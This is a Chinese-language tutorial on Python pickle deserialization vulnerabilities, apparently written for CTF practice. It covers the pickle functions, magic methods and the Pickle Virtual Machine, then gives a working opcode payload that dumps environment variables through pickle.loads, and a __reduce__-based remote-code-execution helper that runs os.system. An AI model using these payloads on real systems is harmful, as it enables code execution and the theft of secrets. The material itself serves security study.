pickle
漏洞简介:
pickle是Python的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到Python的反弹shell。同时,pickle是一种栈语言,它由一串串opcode(指令集)组成.该语言的解析是依靠Pickle Virtual Machine (PVM)进行的.
前置知识:
关于序列化和反序列化的函数:
pickle.dump(),pickle.load(),pickle.dumps(),pickle.loads()
其中两个dump函数是把python对象转换为二进制对象的,两个load函数是把二进制对象转换为python对象的.
而s函数是指对字符串进行反序列化和序列化操作,另外两个函数是对文件进行操作.
python对象:一个Python对象通常包含以下部分:
- 身份(Identity):每个对象都有一个唯一的身份标识,通常是它的内存地址。可以使用内建函数
id()来获取对象的身份。 - 类型(Type):对象属于某种类型,比如整数、浮点数、字符串、列表等。可以使用内建函数
type()来获取对象的类型。 - 值(Value):对象所持有的数据。不同类型的对象有不同的值。例如,整数对象的值是整数值,字符串对象的值是字符序列。
- 属性(Attributes):对象可以有零个或多个属性,这些属性是附加到对象上的数据。属性通常用于存储对象的状态信息。
- 方法(Methods):对象可以有零个或多个方法,方法是附加到对象上的函数。这些方法定义了对象可以执行的操作。
python魔术方法:
__reduce__:会在反序列化过程开始时被调用。
__new__:在实例化一个类时自动被调用,是类的构造方法.可以通过重写__new__自定义类的实例化过程 。
__init__:在__new__方法之后被调用,主要负责定义类的属性,以初始化实例。
__del__:在实例将被销毁时调用,只在实例的所有调用结束后才会被调用。
__getattr__:获取不存在的对象属性时被触发,存在返回值。
__setattr__:设置对象成员值的时候触发,传入一个self,一个要设置的属性名称,一个属性的值。
__repr__:在实例被传入repr()时被调用,必须返回字符串。
__call__:把对象当作函数调用时触发。
__len__:被传入len()时调用,返回一个整型。
__str__:被str(),format(),print()调用时调用,返回一个字符串。
Python特殊属性:
object.dict一个字典或其他类型的映射对象,用于存储对象的(可写)属性。
instance.class类实例所属的类。
class.bases由类对象的基类所组成的元组。
definition.name类、函数、方法、描述器或生成器实例的名称。
definition.qualname类、函数、方法、描述器或生成器实例的 qualified name。
栈:
简介:栈是一种存储数据的结构.栈有压栈和弹栈两种操作.可以把栈看做一个弹夹,先进栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹.而pickle就是一种栈语言,它由一串串opcode(指令集)组成.该语言的解析是依靠Pickle Virtual Machine (PVM)进行的.
用于解析pocode的PVM由以下三部分组成
-
指令处理器:从流中读取
opcode和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。 -
stack:由 Python 的
list实现,被用来临时存储数据、参数以及对象。 -
memo:由 Python 的
dict实现,为 PVM 的整个生命周期提供存储。
以下列出一些常用pocode指令


漏洞利用:
所以当我们看到形如print(pickle.loads(data))的入口,我们可以这样打:
import base64 //引入base64模块
opcode = '''csubprocess //opcode为''' '''中的内容
check_output //从 `subprocess` 模块中加载 `check_output` 函数
(S'env' //向栈中压入mark标记,再压入'env'字符串,此时栈: [MARK, 'env']
tR.'''.encode() //将mark后的元素弹出组成元组,此处为将‘env‘弹出组成(’env‘)此时栈: [MARK],之后
将栈上第一个元素为函数第二个为参数后调用,此处为`check_output('env')`然后
encode()将字符串转化为字节序列,因为 pickle 反序列化操作(pickle.loads())只受
bytes 对象,不接受 str
print(base64.b64encode(opcode).decode())` //bytes 编码为 Base64 格式的 bytes再转化为字符串打印
//最后将data替换为输出的东西就好
cmd转pickle脚本:
def build_rce_pickle():
class Evil:
def __reduce__(self):
cmd = "__import__('os').system('env > static/result.txt')"
return (eval, (cmd,))
return pickle.dumps(Evil(), protocol=5)